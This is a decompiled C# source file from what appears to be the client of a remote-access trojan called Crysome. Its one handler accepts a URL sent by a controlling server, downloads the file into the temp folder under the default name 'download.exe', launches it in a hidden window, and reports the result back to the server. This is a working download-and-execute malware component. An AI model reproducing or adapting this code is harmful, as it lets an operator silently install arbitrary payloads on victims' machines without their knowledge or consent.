using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;

namespace Crysome.Client.Handlers;

public static class DirectLinkHandlers
{
	public static void HandleDirectLink(CrysomeClient client, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Expected O, but got Unknown
		//IL_00b0: Unknown result type (might be due to invalid IL or missing references)
		//IL_00ba: Expected O, but got Unknown
		DirectLinkRequestPacket val = (DirectLinkRequestPacket)packet;
		string text;
		try
		{
			string url = val.Url;
			if (string.IsNullOrEmpty(url))
			{
				text = "ERR: Empty URL";
			}
			else
			{
				string text2 = Path.GetFileName(new Uri(url).LocalPath);
				if (string.IsNullOrEmpty(text2))
				{
					text2 = "download.exe";
				}
				string fileName = Path.Combine(Path.GetTempPath(), text2);
				using (WebClient webClient = new WebClient())
				{
					webClient.DownloadFile(url, fileName);
				}
				Process.Start(new ProcessStartInfo
				{
					FileName = fileName,
					UseShellExecute = true,
					WindowStyle = ProcessWindowStyle.Hidden
				});
				text = "OK DL: " + text2;
			}
		}
		catch (Exception ex)
		{
			text = "ERR DL: " + ex.Message;
		}
		client.SendPacket((IPacket)new DirectLinkResponsePacket(text));
	}
}
